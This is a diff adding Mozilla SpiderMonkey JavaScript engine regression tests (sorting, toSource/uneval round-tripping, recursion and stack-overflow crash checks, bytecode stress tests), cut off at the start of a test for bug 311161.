+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum +=1;
+ print("In finally block of addValues_3() function: sum = " + sum);
+ }
+ catch (e if e == 42)
+ {
+ sum +=1;
+ print('In finally catch block of addValues_3() function: sum = ' + sum + ', e = ' + e);
+ }
+ finally
+ {
+ sum +=1;
+ print("In finally finally block of addValues_3() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(9);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_3(obj);
+expect = 8;
+captureThis();
+
+
+
+
+function addValues_4(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
+ }
+ }
+ }
+ }
+ finally
+ {
+ try
+ {
+ sum += 1;
+ print("In finally block of addValues_4() function: sum = " + sum);
+ }
+ catch (e if e == 42)
+ {
+ sum += 1;
+ print("In 1st finally catch block of addValues_4() function: sum = " + sum + ", e = " + e);
+ }
+ catch (e if e == 43)
+ {
+ sum += 1;
+ print("In 2nd finally catch block of addValues_4() function: sum = " + sum + ", e = " + e);
+ }
+ finally
+ {
+ sum += 1;
+ print("In finally finally block of addValues_4() function: sum = " + sum);
+ return sum;
+ }
+ }
+ }
+}
+
+status = inSection(10);
+obj = new Object();
+obj.arg1 = 1;
+obj.arg2 = 2;
+obj.arg3 = new Object();
+obj.arg3.a = 10;
+obj.arg3.b = 20;
+actual = addValues_4(obj);
+expect = 8;
+captureThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function captureThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-178722.js b/js/src/tests/js1_5/extensions/regress-178722.js
new file mode 100644
index 000000000..428bcf79d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-178722.js
@@ -0,0 +1,93 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 November 2002
+ * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722
+ *
+ * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn)
+ *
+ * 1. Call the [[Get]] method of this object with argument "length".
+ * 2. Call ToUint32(Result(1)).
+ * 3. Perform an implementation-dependent sequence of calls to the [[Get]],
+ * [[Put]], and [[Delete]] methods of this object, etc. etc.
+ * 4. Return this object.
+ *
+ *
+ * Note that sort() is done in-place on |arr|. In other words, sort() is a
+ * "destructive" method rather than a "functional" method. The return value
+ * of |arr.sort()| and |arr| are the same object.
+ *
+ * If |arr| is an empty array, the return value of |arr.sort()| should be
+ * an empty array, not the value |undefined| as was occurring in bug 178722.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 178722;
+var summary = 'arr.sort() should not output |undefined| when |arr| is empty';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr;
+
+
+// create empty array or pseudo-array objects in various ways
+function f () {return arguments};
+var arr5 = f();
+arr5.__proto__ = Array.prototype;
+
+
+status = inSection(5);
+arr = arr5.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr5;
+expect = true;
+addThis();
+
+
+// now do the same thing, with non-default sorting:
+function g() {return 1;}
+
+status = inSection('5a');
+arr = arr5.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr5;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-192465.js b/js/src/tests/js1_5/extensions/regress-192465.js
new file mode 100644
index 000000000..4999a2408
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-192465.js
@@ -0,0 +1,123 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 February 2003
+ * SUMMARY: Object.toSource() recursion should check stack overflow
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192465
+ *
+ * MODIFIED: 27 February 2003
+ *
+ * We are adding an early return to this testcase, since it is causing
+ * big problems on Linux RedHat8! For a discussion of this issue, see
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=174341#c24 and following.
+ *
+ *
+ * MODIFIED: 20 March 2003
+ *
+ * Removed the early return and changed |N| below from 1000 to 90.
+ * Note |make_deep_nest(N)| returns an object graph of length N(N+1).
+ * So the graph has now been reduced from 1,001,000 to 8190.
+ *
+ * With this reduction, the bug still manifests on my WinNT and Linux
+ * boxes (crash due to stack overflow). So the testcase is again of use
+ * on those boxes. At the same time, Linux RedHat8 boxes can now run
+ * the test in a reasonable amount of time.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192465;
+var summary = 'Object.toSource() recursion should check stack overflow';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * We're just testing that this script will compile and run.
+ * Set both |actual| and |expect| to a dummy value.
+ */
+status = inSection(1);
+var N = 90;
+try
+{
+ make_deep_nest(N);
+}
+catch (e)
+{
+ // An exception is OK, as the runtime can throw one in response to too deep
+ // recursion. We haven't crashed; good! Continue on to set the dummy values -
+}
+actual = 1;
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+/*
+ * EXAMPLE:
+ *
+ * If the global variable |N| is 2, then for |level| == 0, 1, 2, the return
+ * value of this function will be toSource() of these objects, respectively:
+ *
+ * {next:{next:END}}
+ * {next:{next:{next:{next:END}}}}
+ * {next:{next:{next:{next:{next:{next:END}}}}}}
+ *
+ */
+function make_deep_nest(level)
+{
+ var head = {};
+ var cursor = head;
+
+ for (var i=0; i!=N; ++i)
+ {
+ cursor.next = {};
+ cursor = cursor.next;
+ }
+
+ cursor.toSource = function()
+ {
+ if (level != 0)
+ return make_deep_nest(level - 1);
+ return "END";
+ }
+
+ return head.toSource();
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-225831.js b/js/src/tests/js1_5/extensions/regress-225831.js
new file mode 100644
index 000000000..3330c7178
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-225831.js
@@ -0,0 +1,162 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 Nov 2003
+ * SUMMARY: Stressing the byte code generator
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225831
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 225831;
+var summary = 'Stressing the byte code generator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f() { return {x: 0}; }
+
+var N = 300;
+var a = new Array(N + 1);
+a[N] = 10;
+a[0] = 100;
+
+
+status = inSection(1);
+
+// build string of the form ++(a[++f().x + ++f().x + ... + ++f().x]) which
+// gives ++a[N]
+var str = "".concat("++(a[", repeat_str("++f().x + ", (N - 1)), "++f().x])");
+
+// Use Script constructor instead of simple eval to test Rhino optimizer mode
+// because in Rhino, eval always uses interpreted mode.
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ var script = new Script(str);
+ script();
+
+ actual = a[N];
+ expect = 11;
+}
+addThis();
+
+status = inSection(2);
+
+
+// build string of the form (a[f().x-- + f().x-- + ... + f().x--])--
+// which should give (a[0])--
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ str = "".concat("(a[", repeat_str("f().x-- + ", (N - 1)), "f().x--])--");
+ script = new Script(str);
+ script();
+
+ actual = a[0];
+ expect = 99;
+}
+addThis();
+
+
+status = inSection(3);
+
+// build string of the form [[1], [1], ..., [1]]
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ str = "".concat("[", repeat_str("[1], ", (N - 1)), "[1]]");
+ script = new Script(str);
+ script();
+
+ actual = uneval(script());
+ expect = str;
+}
+addThis();
+
+
+status = inSection(4);
+
+// build string of the form ({1:{a:1}, 2:{a:1}, ... N:{a:1}})
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ str = function() {
+ var arr = new Array(N+1);
+ arr[0] = "({";
+ for (var i = 1; i < N; ++i) {
+ arr[i] = i+":{a:1}, ";
+ }
+ arr[N] = N+":{a:1}})";
+ return "".concat.apply("", arr);
+ }();
+
+ script = new Script(str);
+ script();
+
+ actual = uneval(script());
+ expect = str;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(--repeat_count);
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-226078.js b/js/src/tests/js1_5/extensions/regress-226078.js
new file mode 100644
index 000000000..178d0a11f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-226078.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 226078;
+var summary = 'Do not Crash @ js_Interpret 3127f864';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function SetLangHead(l){
+ with(p){
+ for(var i in x)
+ if(getElementById("TxtH"+i)!=undefined)
+ printStatus('huh');
+ }
+}
+x=[0,1,2,3];
+p={getElementById: function (id){printStatus(uneval(this), id); return undefined;}};
+SetLangHead(1);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-226507.js b/js/src/tests/js1_5/extensions/regress-226507.js
new file mode 100644
index 000000000..8d4fc0dd7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-226507.js
@@ -0,0 +1,153 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 Nov 2003
+ * SUMMARY: Testing for recursion check in js_EmitTree
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=226507
+ * Igor's comments:
+ *
+ * "For example, with N in the test set to 35, I got on my RedHat
+ * Linux 10 box a segmentation fault from js after setting the stack limit
+ * to 100K. When I set the stack limit to 20K I still got the segmentation fault.
+ * Only after -s was changed to 15K, too-deep recursion was detected:
+ *
+
+ ~/w/js/x> ulimit -s
+ 100
+ ~/w/js/x> js fintest.js
+ Segmentation fault
+ ~/w/js/x> js -S $((20*1024)) fintest.js
+ Segmentation fault
+ ~/w/js/x> js -S $((15*1024)) fintest.js
+ fintest.js:19: InternalError: too much recursion
+
+ *
+ * After playing with numbers it seems that while processing try/finally the
+ * recursion in js_Emit takes 10 times more space the corresponding recursion
+ * in the parser."
+ *
+ *
+ * Note the use of the new -S option to the JS shell to limit stack size.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225061. This in turn
+ * can be passed to the JS shell by the test driver's -o option, as in:
+ *
+ * perl jsDriver.pl -e smdebug -fTEST.html -o "-S 100" -l js1_5/Regress
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 226507;
+var summary = 'Testing for recursion check in js_EmitTree';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * With stack limit 100K on Linux debug build even N=30 already can cause
+ * stack overflow; use 35 to trigger it for sure.
+ */
+var N = 350;
+
+var counter = 0;
+function f()
+{
+ ++counter;
+}
+
+
+/*
+ * Example: if N were 3, this is what |source|
+ * would end up looking like:
+ *
+ * try { f(); } finally {
+ * try { f(); } finally {
+ * try { f(); } finally {
+ * f(1,1,1,1);
+ * }}}
+ *
+ */
+var source = "".concat(
+ repeat_str("try { f(); } finally {\n", N),
+ "f(",
+ repeat_str("1,", N),
+ "1);\n",
+ repeat_str("}", N));
+
+// Repeat it for additional stress testing
+source += source;
+
+/*
+ * In Rhino, eval() always uses interpreted mode.
+ * To use compiled mode, use Script.exec() instead.
+ */
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+ expect = actual = 0;
+}
+else
+{
+ try
+ {
+ var script = Script(source);
+ script();
+
+
+ status = inSection(1);
+ actual = counter;
+ expect = (N + 1) * 2;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+}
+addThis();
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(--repeat_count);
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-231518.js b/js/src/tests/js1_5/extensions/regress-231518.js
new file mode 100644
index 000000000..12419da36
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-231518.js
@@ -0,0 +1,101 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 231518;
+var summary = 'decompiler must quote keywords and non-identifier property names';
+var actual = '';
+var expect = 'no error';
+var status;
+var object;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (typeof uneval != 'undefined')
+{
+ status = inSection(1) + ' eval(uneval({"if": false}))';
+
+ try
+ {
+ object = {'if': false };
+ result = uneval(object);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(2) + ' eval(uneval({"if": "then"}))';
+
+ try
+ {
+ object = {'if': "then" };
+ result = uneval(object);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(3) + ' eval(uneval(f))';
+
+ try
+ {
+ result = uneval(f);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(2) + ' eval(uneval(g))';
+
+ try
+ {
+ result = uneval(g);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+}
+
+function f()
+{
+ var obj = new Object();
+
+ obj['name'] = 'Just a name';
+ obj['if'] = false;
+ obj['some text'] = 'correct';
+}
+
+function g()
+{
+ return {'if': "then"};
+}
+
diff --git a/js/src/tests/js1_5/extensions/regress-237461.js b/js/src/tests/js1_5/extensions/regress-237461.js
new file mode 100644
index 000000000..c079d5f1f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-237461.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 237461;
+var summary = 'don\'t crash with nested function collides with var';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ var core = {};
+ core.js = {};
+ core.js.init = function()
+ {
+ var loader = null;
+
+ function loader() {}
+ };
+ return core;
+}
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ var s = new Script(""+g.toString());
+ try
+ {
+ var frozen = s.freeze(); // crash.
+ printStatus("len:" + frozen.length);
+ }
+ catch(e)
+ {
+ }
+}
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-245148.js b/js/src/tests/js1_5/extensions/regress-245148.js
new file mode 100644
index 000000000..0b4ca051b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-245148.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245148;
+var summary = '[null].toSource() == "[null]"';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof Array.prototype.toSource != 'undefined')
+{
+ expect = '[null]';
+ actual = [null].toSource();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_5/extensions/regress-245795.js b/js/src/tests/js1_5/extensions/regress-245795.js
new file mode 100644
index 000000000..a823fc2f6
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-245795.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245795;
+var summary = 'eval(uneval(function)) should be round-trippable';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a()
+{
+ b = function() {};
+}
+
+var r = "function a() { b = function() {}; }";
+eval(uneval(a));
+
+var v = a.toString().replace(/[ \n]+/g, ' ');
+print(v)
+
+printStatus("[" + v + "]");
+
+expect = r;
+actual = v;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-254375.js b/js/src/tests/js1_5/extensions/regress-254375.js
new file mode 100644
index 000000000..26972900d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-254375.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 254375;
+var summary = 'Object.toSource for negative number property names';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof uneval != 'undefined')
+{
+ try
+ {
+ expect = 'no error';
+ eval(uneval({'-1':true}));
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_5/extensions/regress-255245.js b/js/src/tests/js1_5/extensions/regress-255245.js
new file mode 100644
index 000000000..0138fe435
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-255245.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 255245;
+var summary = 'Function.prototype.toSource/.toString show "setrval" instead of "return"';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ try {
+ } catch (e) {
+ return false;
+ }
+ finally {
+ }
+}
+
+if (typeof f.toSource != 'undefined')
+{
+ expect = -1;
+ actual = f.toSource().indexOf('setrval');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_5/extensions/regress-291213.js b/js/src/tests/js1_5/extensions/regress-291213.js
new file mode 100644
index 000000000..d3c61a042
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-291213.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 291213;
+var summary = 'Do not crash in args_resolve enumerating |arguments|';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var scriptCode = "var result = \"\" + arguments; " +
+ "for (i in arguments) " +
+ "result += \"\\\n \" + i + \" \" + arguments[i]; result;";
+var scripts = {};
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ scripts["A"] = new Script(scriptCode);
+
+ scripts["B"] = (function() {
+ return new Script(scriptCode);
+ })();
+
+ scripts["C"] = (function() {
+ function x() { "a"; }
+ return new Script(scriptCode);
+ })();
+
+// any Object (window, document, new Array(), ...)
+ var anyObj = new Object();
+ scripts["D"] = (function() {
+ function x() { anyObj; }
+ return new Script(scriptCode);
+ })();
+
+ var result;
+ for (var i in scripts) {
+ try { result = scripts[i].exec(); }
+ catch (e) { result = e; }
+ printStatus(i + ") " + result);
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-300079.js b/js/src/tests/js1_5/extensions/regress-300079.js
new file mode 100644
index 000000000..7d671b602
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-300079.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 300079;
+var summary = "precompiled functions should inherit from current window's Function.prototype";
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof clone == 'undefined') {
+ expect = 'SKIPPED';
+ actual = 'SKIPPED';
+ }
+ else {
+ expect = 'PASSED';
+
+ f = evaluate("(function () { return a * a; })");
+ g = clone(f, {a: 3});
+ f = null;
+ gc();
+ try {
+ a_squared = g(2);
+ if (a_squared != 9)
+ throw "Unexpected return from g: a_squared == " + a_squared;
+ actual = "PASSED";
+ } catch (e) {
+ actual = "FAILED: " + e;
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-303277.js b/js/src/tests/js1_5/extensions/regress-303277.js
new file mode 100644
index 000000000..319d9a2ed
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-303277.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 303277;
+var summary = 'Do not crash with crash with a watchpoint for __proto__ property ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {};
+o.watch("__proto__", function(){return null;});
+o.__proto__ = null;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-304897.js b/js/src/tests/js1_5/extensions/regress-304897.js
new file mode 100644
index 000000000..940cba79c
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-304897.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304897;
+var summary = 'uneval("\\t"), uneval("\\x09")';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '"\\t"';
+actual = uneval('\t');
+reportCompare(expect, actual, summary);
+
+actual = uneval('\x09');
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-306738.js b/js/src/tests/js1_5/extensions/regress-306738.js
new file mode 100644
index 000000000..0493e0714
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-306738.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306738;
+var summary = 'uneval() on objects with getter or setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = uneval(
+ {
+ get foo()
+ {
+ return "foo";
+ }
+ });
+
+expect = '({get foo() {return "foo";}})';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-311161.js b/js/src/tests/js1_5/extensions/regress-311161.js
new file mode 100644
index 000000000..049d8eb2e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-311161.js
@@ -0,0 +1,1438 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311161;
+var summary = 'toSource exposes random memory or crashes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var commands =
+ [{origCount:1, fun:(function anonymous() {allElements[2].style.background = "#fcd";})},
+{origCount:2, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:3, fun:(function anonymous() {allElements[4].style.width = "200%";})},
+{origCount:4, fun:(function anonymous() {allElements[6].style.clear = "right";})},
+{origCount:5, fun:(function anonymous() {allElements[8].style.visibility = "hidden";})},
+{origCount:6, fun:(function anonymous() {allElements[1].style.overflow = "visible";})},
